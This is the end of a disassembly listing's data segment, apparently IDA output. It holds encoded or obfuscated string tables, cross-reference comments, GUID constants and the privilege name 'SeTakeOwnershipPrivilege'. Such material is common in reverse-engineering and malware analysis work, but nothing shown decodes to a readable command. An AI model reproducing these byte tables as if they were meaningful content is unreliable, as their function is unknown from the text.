2220372Ah, 2B302A37h, 2B2C1221h, 322A21h dword_54FBE0 dd 0B7F0000Eh, 99A78495h, 879F949Eh, 979E9FBCh db 0B1h, 0 word_54FBF2 dw 0Eh ; DATA XREF: sub_4408C5:loc_440906o dd 9596B7F3h, 979D9AA4h, 81A3849Ch, 0B2909Ch dword_54FC04 dd 90E5000Ah, 0D6978096h, 8981CBD7h db 89h, 0 word_54FC12 dw 0Ah ; DATA XREF: sub_4408C5+1o dd 0BFA9AFDAh, 0F4E8E9A8h, 0B6B6BEh dword_54FC20 dd 0CA89000Dh, 0FAE8DDE6h, 0E4ECC4E2h, 0ECECFBCFh ; DATA XREF: sub_4407D3+D1o db 0 byte_54FC31 db 0Bh, 0, 0C0h ; DATA XREF: sub_4407D3+B5o aIEBmzxid db '‰³…±µ¡¬‡•‰„',0 dword_54FC40 dd 2410010h, 2433022Eh, 8243520h, 2035322Fh, 24222Fh ; DATA XREF: sub_4407D3+99o dword_54FC54 dd 0DA99000Fh, 0DDD0CAD5h, 0F4F6EBDFh, 0F0EBEDCAh ; DATA XREF: sub_4407D3+7Do db 0F7h, 0FEh, 0 byte_54FC67 db 0Ch ; DATA XREF: sub_4407D3+61o dd 19357600h, 21F183Fh, 1F1A171Fh db 0Ch, 13h, 0 byte_54FC77 db 0Eh ; DATA XREF: sub_4407D3:loc_440818o dd 3D115200h, 3C3B3C07h, 333B263Bh, 37283B3Eh db 0 byte_54FC89 db 9, 0, 7Bh ; DATA XREF: sub_4407D3+2Eo dd 481E1714h, 171F5549h db 17h, 0 word_54FC96 dw 9 ; DATA XREF: sub_4407D3+1o dd 999093FCh, 98D2CECFh db 2 dup(90h), 0 byte_54FCA3 db 0 ; DATA XREF: sub_44050C:loc_440768o db 0, 5Eh, 0 byte_54FCA7 db 1 ; DATA XREF: sub_44050C:loc_4406F7o dd 0D6AE00h dword_54FCAC dd 124E0001h db 0 byte_54FCB1 db 1, 0, 54h ; DATA XREF: sub_43FD1A:loc_440267o db 74h, 0 word_54FCB6 dw 0 ; DATA XREF: sub_43FD1A+504o db 0F1h, 0 word_54FCBA dw 13h ; DATA XREF: sub_43FD1A+4D2o aTMgaozCnGccknr db 'â·Œƒ€‡Â–ƒ—–Š‹˜‡',0 a5 db '5',0 ; DATA XREF: sub_43FD1A+4C2o db 0DAh dd 0B8BBB48Fh, 0AEFABFB6h, 0AFBBFAB5h, 0A8B5B2AEh, 0FABFA0B3h dd 9493FAF7h, 88889599h, 0FA8E999Fh, 0F494938Ah, 0BFB68AFAh dd 0F6BFA9BBh, 0A8B5B9FAh, 0AEB9BFA8h db 0F4h, 0 word_54FD0A dw 1 ; DATA XREF: sub_43FD1A:loc_440028o db 0CAh, 0E7h, 0 byte_54FD0F db 1Eh ; DATA XREF: sub_43FD1A+2B4o dd 1E227200h, 17011317h, 1701525Eh, 611171Eh, 20A3752h dd 613001Bh, 521C1D1Bh, 13172Bh db 0 byte_54FD31 db 1, 0, 3Dh ; DATA XREF: sub_43FD1A:loc_43FF59o db 1Dh, 0 word_54FD36 dw 1Fh ; DATA XREF: sub_43FD1A+1E3o aUpjvJquJpjaUjK db 'Ó¯¦¢°¦ïã°¦¯¦ ·ã†»³ª±¢·ª¬ã¬·«',0 byte_54FD59 db 12h, 0, 0D0h ; DATA XREF: sub_43FB17+5Ao aGSgcAvDD db 'ƒ¶³™£–¹¼µ€¢¿¤µ³¤µ´',0 asc_54FD6F db 7,0 ; DATA XREF: sub_43FB17+31o db 3Dh, 4Eh, 5Bh dd 5159135Eh db 51h, 0 word_54FD7A dw 7 ; DATA XREF: sub_43FB17+1o dd 55504536h, 5A5A5218h db 0 byte_54FD85 db 1, 0, 0C0h ; DATA XREF: sub_43F81A+205o db 0BCh, 0 word_54FD8A dw 5Ah ; DATA XREF: sub_43F81A+D5o dd 0D3D3F1B0h, 0C4DEC5DFh, 0DDD1FE90h, 0FFE093D5h, 0E39083E0h dd 0D5C6C2D5h, 0FDE393C2h, 0E390E0E4h, 0D5C6C2D5h, 0FDE393C2h dd 0F490E0E4h, 0DCC0C3D9h, 0FE90C9D1h, 93D5DDD1h, 0E0E4FDE3h dd 0D1DDF590h, 0F190DCD9h, 0D5C2D4D4h, 0E093C3C3h, 9083E0FFh dd 0C2D5C3E5h, 0DDD1FE90h, 9393D5h dword_54FDE8 dd 1B4B000Eh, 6B781B04h, 38382A1Bh, 2F39243Ch db 79h, 0 word_54FDFA dw 39h ; DATA XREF: sub_43F81A:loc_43F838o dd 646D7122h, 70637576h, 4B6F7E67h, 514D5041h, 7E56444Dh dd 47564C6Bh, 56474C50h, 41416302h, 564C574Dh, 4C436F02h dd 50474543h, 4141637Eh, 564C574Dh, 12077E51h db 1Ah, 5Ah, 0 aSetakeownershi db 'SeTakeOwnershipPrivilege',0 ; DATA XREF: sub_43ECD2+1C2o dword_54FE50 dd 0B89D0005h, 0C1EEB8EEh db 0 byte_54FE59 db 5, 0, 0FBh ; DATA XREF: sub_43E77A+1F2o aIIz db 'ވވ§',0 word_54FE62 dw 3 ; DATA XREF: sub_43E77A+C9o dd 550C5A7Fh db 0 byte_54FE69 db 4, 0, 4 ; DATA XREF: sub_43E77A+6Eo aGX db '!g>X',0 byte_54FE71 db 1, 0, 0E0h ; DATA XREF: sub_43E364+3A5o db 9Ch, 0 word_54FE76 dw 1 ; DATA XREF: sub_43E364+34Bo db 0E6h, 9Ah, 0 byte_54FE7B db 19h ; DATA XREF: sub_43E364+2EEo dd 0C5C28B00h, 0C4C8DFCEh, 0D8ABC6C6h, 0EEFDF9EEh, 0EADBABF9h dd 0E4FCF8F8h, 0F8EFF9h dword_54FE98 dd 0F78B0001h db 0 byte_54FE9D db 5, 0, 0ADh ; DATA XREF: sub_43DB03+2CCo dd 88F1DE88h db 0DEh, 0 word_54FEA6 dw 5 ; DATA XREF: sub_43DB03+25Eo aTqQ db 'tQ',7,'(Q',7,0 byte_54FEAF db 4 ; DATA XREF: sub_43DB03+17o dd 81D7F200h db 0AEh, 0D8h, 0 byte_54FEB7 db 1 ; DATA XREF: sub_43D41A+284o dd 654400h dword_54FEBC dd 0DBF10001h db 0 byte_54FEC1 db 4, 0, 2Eh ; DATA XREF: sub_43D41A+1F3o a___ db '*...',0 byte_54FEC9 db 1, 0, 2Ch ; DATA XREF: sub_43D090+333o db 0Fh, 0 word_54FECE dw 1 ; DATA XREF: sub_43D090+2DEo db 6Fh, 4Ch, 0 byte_54FED3 db 1 ; DATA XREF: sub_43D090+25Eo dd 0E9CA00h dword_54FED8 dd 0A3CB0007h, 0F1BBBFBFh db 2 dup(0E4h), 0 byte_54FEE3 db 1 ; DATA XREF: sub_43D090+1F2o dd 200300h dword_54FEE8 dd 335B0007h, 612B2F2Fh db 2 dup(74h), 0 byte_54FEF3 db 0Bh ; DATA XREF: sub_43D090+10o dd 8289EA04h, 8F82898Fh, 8F989A84h, 83C49999h, 0C9858C84h dd 8E86858Dh, 8686859Ah, 878589C4h, 9E8483C9h, 8E86858Dh dd 878589C4h, 9D9D9DC9h, 988889C4h, 0C99F98C4h, 0C49D9D9Dh dd 82899C8Bh, 0C481898Fh, 99C99F98h, 8798859Eh, 0C4938B9Ah dd 0C9878589h, 9E9F9889h, 84C49A85h, 8F84C99Fh, 8D8FC49Dh dd 8589C48Dh, 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h dd 878589C4h, 899C8BC9h, 81898F82h, 0C99F98C4h, 82899C8Bh dd 0C481898Fh, 0C9908388h, 0C49D9D9Dh, 84838888h, 0C99F98C4h dd 9E998B87h, 92C7988Fh, 878589C4h, 9D9D9DC9h, 84859AC4h dd 89998390h, 0C499878Bh, 0C9878589h, 0C49D9D9Dh, 81848B88h dd 848B88C7h, 0C78F9F9Bh, 8B848B89h, 89C48B8Eh, 9D9DC98Bh dd 859AC49Dh, 99839084h, 99878B89h, 878589C4h, 9D9D9DC9h dd 858788C4h, 878589C4h, 938B9AC9h, 0C4868B9Ah, 0C9878589h dd 938B888Fh, 878589C4h, 9D9D9DC9h, 848B88C4h, 878C8581h dd 989F8E8Bh, 8589C48Bh, 9D9DC987h, 8389C49Dh, 89C48988h dd 9DC98785h, 9CC49D9Dh, 98C4889Eh, 9D9DC99Fh, 9D89C49Dh dd 81848B88h, 878589C4h, 86858DC9h, 86859A8Eh, 8589C486h dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h dd 9D9D9DC9h, 888787C4h, 0C481848Bh, 9DC99F98h, 9FC49D9Dh dd 998B8384h, 879F989Eh, 0C99F98C4h, 8E86858Dh, 8686859Ah dd 878589C4h, 9D9D9DC9h, 84859AC4h, 89998390h, 0C499878Bh dd 0C9878589h, 0C49D9D9Dh, 8698859Dh, 848B888Eh, 9885C481h dd 9D9DC98Dh, 8B89C49Dh, 8E838E84h, 9C8F9E8Bh, 8C83988Fh dd 0C4988F83h, 0C9878589h, 0C49D9D9Dh, 9084859Ah, 8B899983h dd 89C49987h, 9DC98785h, 88C49D9Dh, 8581848Bh, 8E84838Ch dd 89C48B83h, 9DC98785h, 83C49D9Dh, 848B8889h, 9F98C481h dd 899C8BC9h, 81898F82h, 0C99F98C4h, 0C49D9D9Dh, 8E848F9Ch dd 84999885h, 0C48F878Bh, 9DC9999Dh, 81C49D9Dh, 98C48887h dd 9D9DC99Fh, 8F84C49Dh, 8D8B879Eh, 8F9E9983h, 8589C498h dd 8B81C987h, 908B819Ch, 9E848F89h, 89C4988Fh, 9DC98785h dd 9CC49D9Dh, 858E848Fh, 8B849998h, 9DC48F87h, 9387C999h dd 83868485h, 898B8F84h, 849F8589h, 0C4D8999Eh, 8F88888Bh dd 9E8B8493h, 8B848583h, 8589C486h, 0C9819FC4h, 83868485h dd 88C78F84h, 8483999Fh, 0C499998Fh, 93858686h, 999E998Eh dd 8589C488h, 0C9819FC4h, 0C49D9D9Dh, 8B86868Bh, 8B888B82h dd 848B888Eh, 8589C481h, 9D9DC987h, 8898C49Dh, 8589C489h dd 9D9DC987h, 859AC49Dh, 99839084h, 99878B89h, 878589C4h dd 9D9D9DC9h, 9982C4DBh, 89C48988h, 8D81C98Bh, 868F9888h dd 8689928Bh, 98C4889Fh, 8B93C99Fh, 0C4858887h, 0C9908388h dd 858E8381h, 8B88C799h, 98C48184h, 9D9DC99Fh, 8886C49Dh dd 98838E89h, 0C49E898Fh, 989F8B86h, 839E848Fh, 8B88848Bh dd 89C48184h, 8B88C98Bh, 8B868998h, 89C49993h, 9EC98785h dd 868B9E85h, 988C9386h, 8B888F8Fh, 84838184h, 8589C48Dh dd 9D9DC987h, 8884C49Dh, 8B89C489h, 88D9DFC9h, 0C481848Bh dd 0C9878589h, 0C49D9D9Dh, 8E848F9Ch, 84999885h, 0C48F878Bh dd 9DC9849Ch, 88C49D9Dh, 9EC788D8h, 9E999F98h, 878589C4h dd 9D9D9DC9h, 848F9CC4h, 9998858Eh, 8F878B84h, 0C9999DC4h dd 848F9A85h, 81848B88h, 878589C4h, 9E8B9EC9h, 8C8F84C7h dd 848B889Eh, 9F98C481h, 898F99C9h, 0C4888B86h, 99C99F98h dd 989F898Fh, 86939E83h, 98C4888Bh, 8F8CC99Fh, 988B829Eh dd 8388C48Eh, 988DC990h, 9A928485h, 8F848B86h, 98C4999Eh dd 8F9CC99Fh, 98858E84h, 878B8499h, 849CC48Fh db 0C9h, 0 word_550302 dw 4 ; DATA XREF: sub_43CCB6+70o dd 474F5A7Fh db 27h, 0 word_55030A dw 12h ; DATA XREF: sub_43CBF8:loc_43CC37o dd 767D4C0Fh, 615A7B7Fh, 7B607D7Fh, 4B7B6C6Ah, 6E7B6Eh dword_550320 dd 82E1000Bh, 95919893h, 85CFD3D2h db 2 dup(8Dh), 0 byte_55032F db 0Bh ; DATA XREF: sub_43CBF8+1o dd 7C6D0E00h, 3D7A7E77h, 626A203Ch db 62h, 0 word_55033E dw 13h ; DATA XREF: sub_43C7A3+3F0o dd 8193B7Ch, 0E0E093Fh, 2C081219h, 191F130Eh, 18350F0Fh db 0 byte_550355 db 9, 0, 0F7h ; DATA XREF: sub_43C7A3+3DBo aAeugtUit db ' …ƒ’±›’',0 word_550362 dw 11h ; DATA XREF: sub_43C7A3+3C6o dd 0F0E1C384h, 0EFF7EDC0h, 0E1E1F6C2h, 0E7E5F4D7h db 0E1h, 0C5h, 0 byte_550377 db 16h ; DATA XREF: sub_43C7A3+3B1o dd 0B694D300h, 0A5BD96A7h, 0BDBCA1BAh, 0A7BDB6BEh, 0BAA1A780h dd 92A0B4BDh db 0 byte_550391 db 13h, 0, 55h ; DATA XREF: sub_43C7A3+39Co dd 6213012h, 3021262Ch, 273C1138h, 3A213630h, 142C27h dword_5503A8 dd 4D0A000Ch, 6F5E7E6Fh, 6B5A7A67h, 4B627Ehdword_5503B8 dd 0E9850008h, 0E9F7F1F6h, 0D2EBE0hdword_5503C4 dd 0FBBC000Eh, 0D3F0C8D9h, 0D9D0DDDFh, 0D3DAD2F5h ; DATA XREF: sub_43C7A3+35Do db 0FDh, 0 word_5503D6 dw 0Dh ; DATA XREF: sub_43C7A3+348o aKiIDIsIm db 'ÍŠ¨¹‰¿¤»¨™´½¨Œ',0 asc_5503E7 db 0Bh,0 ; DATA XREF: sub_43C7A3+333o db 86h, 0C5h, 0EAh dd 0CEE3F5E9h, 0EAE2E8E7h db 0E3h, 0 word_5503F6 dw 0Eh ; DATA XREF: sub_43C7A3+31Eo dd 0D2C3F5A6h, 0C3CACFE0h, 0C8CFC9F6h, 0D4C3D2h dword_550408 dd 6D21000Ch, 6D45404Eh, 40534348h, 605853hdword_550418 dd 6F3D000Dh, 58675149h, 5870524Fh, 444F5250h db 0 byte_550429 db 7, 0, 37h ; DATA XREF: sub_43C7A3+2DFo aYrort db '`^YrORT',0 asc_550434: ; DATA XREF: sub_43C7A3+2CAo dw 0Ah dw 0FBBEh db 'Æ×ÊêÖÌÛßÚ',0 word_550442 dw 14h ; DATA XREF: sub_43C7A3+2B5o dd 23391E57h, 383B2532h, 33323C34h, 2534391Eh, 39323A32h db 23h, 0 word_55045A dw 0Dh ; DATA XREF: sub_43C7A3+2A0o a?yvqQzgkyvsz db '?yVQ[qZGKyVSZ~',0 asc_55046B db 0Dh,0 ; DATA XREF: sub_43C7A3+28Bo aKiUIasdai db 'ÍŠ¨¹´¾¹¨ ™¤ ¨',0 dword_55047C dd 581F000Ch, 764B6B7Ah, 705C747Ch, 6B716Ahdword_55048C dd 8ACD0010h, 0A280B9A8h, 0A8A1B8A9h, 0A9A3AC85h, 8CA8A1h ; DATA XREF: sub_43C7A3+261o dword_5504A0 dd 7127000Bh, 5253554Eh, 55614B46h db 2 dup(42h), 0 byte_5504AF db 0Bh ; DATA XREF: sub_43C7A3+237o dd 11206300h, 6170206h, 60F0A25h asc_5504BC: ; DATA XREF: sub_43C7A3+222o unicode 0, <"> dw 0Ah dw 0B2FDh aNsuIise db '˜“°ˆ‰˜…¼',0 asc_5504CC: ; DATA XREF: sub_43C7A3+20Do dw 0Bh dw 0C384h dd 0EDC2F0E1h, 0EDD7E1E8h db 0FEh, 0E1h, 0 byte_5504DB db 0Bh ; DATA XREF: sub_43C7A3+1F8o dd 497D3B00h, 52775E5Eh, 495A4959h db 42h, 0 word_5504EA dw 0Ch ; DATA XREF: sub_43C7A3+1E3o dd 8398A7F1h, 9D908485h, 9E9D9DB0h db 92h, 0 word_5504FA dw 10h ; DATA XREF: sub_43C7A3+1CEo aNlJfdyLGhdlh db ')nL]jFDY\]L[gHDLh',0 asc_55050E db 0Bh,0 ; DATA XREF: sub_43C7A3+1B9o a6yfsxfdyusee db '6yFSXfDYUSEE',0 byte_55051D db 17h, 0, 0ECh ; DATA XREF: sub_43C7A3+1A4o aKuiiivEugvbivs db 'ª‰‰©‚š…ƒ‚‰‚˜¿˜…‚‹Ÿ',0 dword_550538 dd 0FDBB000Eh, 0FDDFD5D2h, 0CFC8C9D2h, 0DED7D2FDh ; DATA XREF: sub_43C7A3+18Fo db 0FAh, 0 word_55054A dw 0Ch ; DATA XREF: sub_43C7A3+17Ao dd 0D8CFFEBDh, 0F0D8C9DCh, 0C5D8C9C8h db 0FCh, 0 word_55055A dw 14h ; DATA XREF: sub_43C7A3+165o dd 0C5DFF8B1h, 0DEDDC3D4h, 0D5D4DAD2h, 0C3D2D4F5h, 0DFD4DCD4h db 0C5h, 0 word_550572 dw 14h ; DATA XREF: sub_43C7A3+150o dd 989DB2F4h, 999DA091h, 0A79BA091h, 9180878Dh, 999DA099h db 91h, 0 word_55058A dw 0Dh ; DATA XREF: sub_43C7A3+13Bo dd 0FFEECC8Bh, 0F8F9EEDDh, 0CEE5E4E2h db 0F3h, 0CAh, 0 byte_55059B db 9 ; DATA XREF: sub_43C7A3+126o dd 2F034000h, 29063930h, 1252Ch dword_5505A8 dd 0D89F0015h, 0F0C9EBFAh, 0FAF2EAF3h, 0F0F9F1D6h, 0EBFEF2EDh ; DATA XREF: sub_43C7A3+111o dd 0DEF1F0F6h db 0 byte_5505C1 db 8, 0, 45h ; DATA XREF: sub_43C7A3+FCo dd 21242017h, 20292C03h db 0 byte_5505CD db 13h, 0, 90h ; DATA XREF: sub_43C7A3+E7o dd 0F5F4F9C7h, 0E2F1F8D3h, 0E5DDFFC4h, 0D2F9E4FCh, 0F5E4E9h dword_5505E4 dd 4D0E000Fh, 6F7E6361h, 67486B7Ch, 675A6B62h db 63h, 6Bh, 0 byte_5505F7 db 11h ; DATA XREF: sub_43C7A3+BDo dd 34165100h, 38291425h, 353E1225h, 23390534h, 353034h dword_55060C dd 460B0013h, 627F677Eh, 6E7F7249h, 625C645Fh, 63486E6Fh ; DATA XREF: sub_43C7A3+A8o db 6Ah, 79h, 0 byte_550623 db 9 ; DATA XREF: sub_43C7A3+93o dd 9EBDF100h, 0B79D9092h, 949483h dword_550630 dd 0D88F0013h, 0C9FBE6EEh, 0E6DCFDE0h, 0EAE3E8E1h, 0EAE5EDC0h ; DATA XREF: sub_43C7A3+7Eo db 0ECh, 0FBh, 0 byte_550647 db 12h ; DATA XREF: sub_43C7A3+69o dd 25074000h, 242F0D34h, 6252C35h, 0E252C29h, 1252D21h db 0 byte_55065D db 0Bh, 0, 52h ; DATA XREF: sub_43C7A3+54o dd 373E3716h, 3B143726h, 13373Eh dword_55066C dd 0AEFD000Ch, 8FB88998h, 0B08F928Fh, 989992hdword_55067C dd 0F7B10009h, 0F2D5DFD8h, 0D4C2DEDDh db 0 byte_550689 db 0Ah, 0, 42h ; DATA XREF: sub_43C7A3+15o dd 23212D0Eh, 2E2E032Eh db 2Dh, 21h, 0 byte_550697 db 12h ; DATA XREF: sub_43C7A3o dd 0FCDE9900h, 0EBECDAEDh, 0EDF7FCEBh, 0FCEBF1CDh, 0FDD0FDF8h db 0 byte_5506AD db 6, 0, 4 ; DATA XREF: sub_43C501:loc_43C609o db '!\)!\%',0 asc_5506B7 db 7,0 ; DATA XREF: sub_43C501+58o db 0D4h, 88h, 0A4h dd 0B8B0FAFEh db 0B8h, 0 word_5506C2 dw 6 ; DATA XREF: sub_43C397+150o aWpvgep db '$WPVGEP',0 dword_5506CC dd 1C710006h, 1121C14h db 8, 0 word_5506D6 dw 8 ; DATA XREF: sub_43C397+126o dd 0C0F0A7Ch, 812150Eh db 1Ah, 0 word_5506E2 dw 7 ; DATA XREF: sub_43C397+111o aW91 db 'W$',27h,'%>9#1',0 asc_5506ED db 7,0 ; DATA XREF: sub_43C397+FCo db 9Fh dd 0EFEAF0EBh, 0EDFAEFh dword_5506F8 dd 77160004h, 7F7962hdword_550700 dd 0D5B80006h, 0D7D4D4D9h db 0DBh, 0 word_55070A dw 5 ; DATA XREF: sub_43C397+BDo dd 1D0E0F7Ch db 12h, 18h, 0 byte_550713 db 6 ; DATA XREF: sub_43C397+A8o dd 4B673800h, 485D5D54h db 0 byte_55071D db 4, 0, 0A5h ; DATA XREF: sub_43C397+93o db 'Ã×ÀÀ',0 byte_550725 db 4, 0, 87h ; DATA XREF: sub_43C397+7Eo dd 0E3E9E6F5h db 0 byte_55072D db 6, 0, 0E8h ; DATA XREF: sub_43C397+69o aEneles db '……‹…˜',0 byte_550737 db 6 ; DATA XREF: sub_43C397+54o dd 0C1C6B500h, 0CCC5D6C7h db 0 byte_550741 db 6, 0, 0E8h ; DATA XREF: sub_43C397:loc_43C3D6o aEnein db '……›œ',0 asc_55074B db 0Ah,0 ; DATA XREF: sub_43C397+28o db 0D9h, 0BAh, 0ABh dd 0B5B5BDADh, 0B5B5BDF7h db 0 byte_550759 db 0Ah, 0, 0F9h ; DATA XREF: sub_43C397+1o aLnaxxAxx db 'š‹••×••',0 byte_550767 db 0 ; DATA XREF: sub_43C284:loc_43C2E5o db 0, 9Eh, 0 byte_55076B db 5 ; DATA XREF: sub_43BE84+23Do dd 782E0B00h, 782E57h dword_550774 dd 0D8FD0005h, 8ED8A18Eh db 0 byte_55077D db 4, 0, 78h ; DATA XREF: sub_43BE84+Fo aR db ']',0Bh,'$R',0 byte_550785 db 4, 0, 39h ; DATA XREF: sub_43BE1F+1Co dd 65035A1Ch db 0 byte_55078D db 14h, 0, 0B4h ; DATA XREF: sub_43BD23:loc_43BD6Bo dd 0DBC0E7E4h, 0C6F7D1C6h, 0D1C0D5D1h, 0C0C7DAFDh, 0D1D7DAD5h db 0 byte_5507A5 db 0Bh, 0, 35h ; DATA XREF: sub_43BD23+31o aEfazgpvQyy db 'EFAZGPV',1Bh,'QYY',0 asc_5507B4 db 0Bh,0 ; DATA XREF: sub_43BD23+1o dw 1363h dd 110C1710h, 74D0006h db 2 dup(0Fh), 0 byte_5507C3 db 6 ; DATA XREF: sub_43BC76+2Do ; sub_444ED7+223o dd 0B0B0DB00h, 0A3ADF6AAh db 0 byte_5507CD db 8, 0, 0E3h ; DATA XREF: sub_43BC76:loc_43BC93o aROciC db 'Ƽ—›Æ–',0 byte_5507D9 db 11h, 0, 0DCh ; DATA XREF: sub_43BA83+24o dd 0B9A8B295h, 0A8B9B2AEh, 0ACA499FCh, 0B9AEB3B0h db 0AEh, 0 word_5507EE dw 10h ; DATA XREF: sub_43B309:loc_43B351o dd 0E7E8F3A0h, 0CFE6D4C5h, 0D2C5C4CCh, 0C8D4C1F0h db 0E1h, 0 word_550802 dw 0Bh ; DATA XREF: sub_43B309+31o dd 171A0172h, 40411E1Eh, 1E1E165Ch db 0 byte_550811 db 0Bh, 0, 5Eh ; DATA XREF: sub_43B309+1o a622mlp22 db '-6;22mlp:22',0 dword_550820 dd 65390001h db 0 byte_550825 db 5, 0, 0EBh ; DATA XREF: sub_4395D8+806o aPkqk db 'ÅŠŸŠ',0 word_55082E dw 16h ; DATA XREF: sub_438324+EF4o dd 52A69h, 2649020Ah, 490C0A07h, 2A49063Dh, 1D0706h, 0C1C07h dword_550848 dd 0ABE90006h, 0A6BDBDBCh db 0A7h, 0 word_550852 dw 1Eh ; DATA XREF: sub_438324+E29o dd 464E5316h, 4257445Fh, 3658595Fh, 53425752h, 571C1C1Ch dd 46365B42h, 5536585Fh, 535259h dword_550874 dd 40130006h, 5A475247h db 50h, 0 word_55087E dw 0 ; DATA XREF: sub_438324+D37o db 10h, 0 word_550882 dw 4 ; DATA XREF: sub_438324+D27o dd 101D1C59h db 0Dh, 0 word_55088A dw 6 ; DATA XREF: sub_438324+C9Fo aFtvcht3 db 'Ftvcht3',0 dword_550894 dd 0BF9A0004h, 0EFA8B4hdword_55089C dd 0B80000h dword_5508A0 dd 3A790008h, 363B3436h, 21363Bhoff_5508AC dd offset dword_460000 ; DATA XREF: sub_438324+A9Ao dword_5508B0 dd 0F0B30008h, 0FCF1FEFCh, 0EBFCF1hdword_5508BC dd 6E3D0006h, 74697C69h db 7Eh, 0 word_5508C6 dw 6Eh ; DATA XREF: sub_438324:loc_438C53o dd 303F0451h, 71343D33h, 30713E25h, 3E392524h, 342B3823h dd 22745B7Fh, 3E232171h, 22223432h, 71363F38h, 253F3432h dd 38712334h, 3F247122h, 343D3330h, 713E2571h, 39252430h dd 2B38233Eh, 3E287134h, 32712324h, 71352330h, 5B7F2274h dd 343A301Ch, 233E3271h, 25323423h, 223F3E38h, 353F3071h dd 28232571h, 30363071h, 7F3F38h dword_550938 dd 0ABE6000Ah, 83929587h, 9487A594h db 82h, 0 word_550946 dw 4 ; DATA XREF: sub_438324+8FDo dd 0E9F3ECBAh db 0FBh, 0 word_55094E dw 1 ; DATA XREF: sub_438324+828o db 47h, 67h, 0 byte_550953 db 6 ; DATA XREF: sub_438324+818o dd 0CCCB9800h, 0DBD1CCD9h db 0 byte_55095D db 15h, 0, 53h ; DATA XREF: sub_438324+6E7o dd 73737359h, 101C0103h, 1A000016h, 1573141Dh, 161F1A12h db 17h, 0 word_550976 dw 6 ; DATA XREF: sub_438324+6D7o aQOJm db 'ï¼»®»¦¬',0 dword_550980 dd 3B0000h dword_550984 dd 0F1A20006h, 0EBF6E3F6h db 0E1h, 0 word_55098E dw 6 ; DATA XREF: sub_438324+4FEo dd 150F0F64h, 1C1249h dword_550998 dd 5C190008h, 76756961h, 6B7C6Bhdword_5509A4 dd 85C10009h, 0A38EA2AEh, 0B5A2A4ABh db 0 byte_5509B1 db 0Eh, 0, 9Ah ; DATA XREF: sub_438324+421o dd 0CDF8FBCEh, 0F5FEF4F3h, 0FBF6D9EDh, 3A00E9E9h, 2F2Fh dword_5509C8 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5509D8 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_441B74+1F2o ... dword_5509E8 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; DATA XREF: sub_439556:loc_4395A2o ; sub_43C652+D3o ... dword_5509F8 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43DA81:loc_43DACDo dword_550A08 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_550A18 dd 20400h, 0 ; sub_43DA81:loc_43DAADo ... dd 0C0h, 46000000h dword_550A28 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44296E+188o dword_550A38 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44526D+89o dword_550A48 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44296E+54Eo ... dword_550A58 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A68 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_550A78 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_550A88 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_550A98 dd 2 dup(0) ; sub_43DA81+Co ... dd 0C0h, 46000000h dword_550AA8 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 52h dup(0) ; DATA XREF: sub_43C652+9Eo ; sub_43EA1B+A7o ... _data ends end start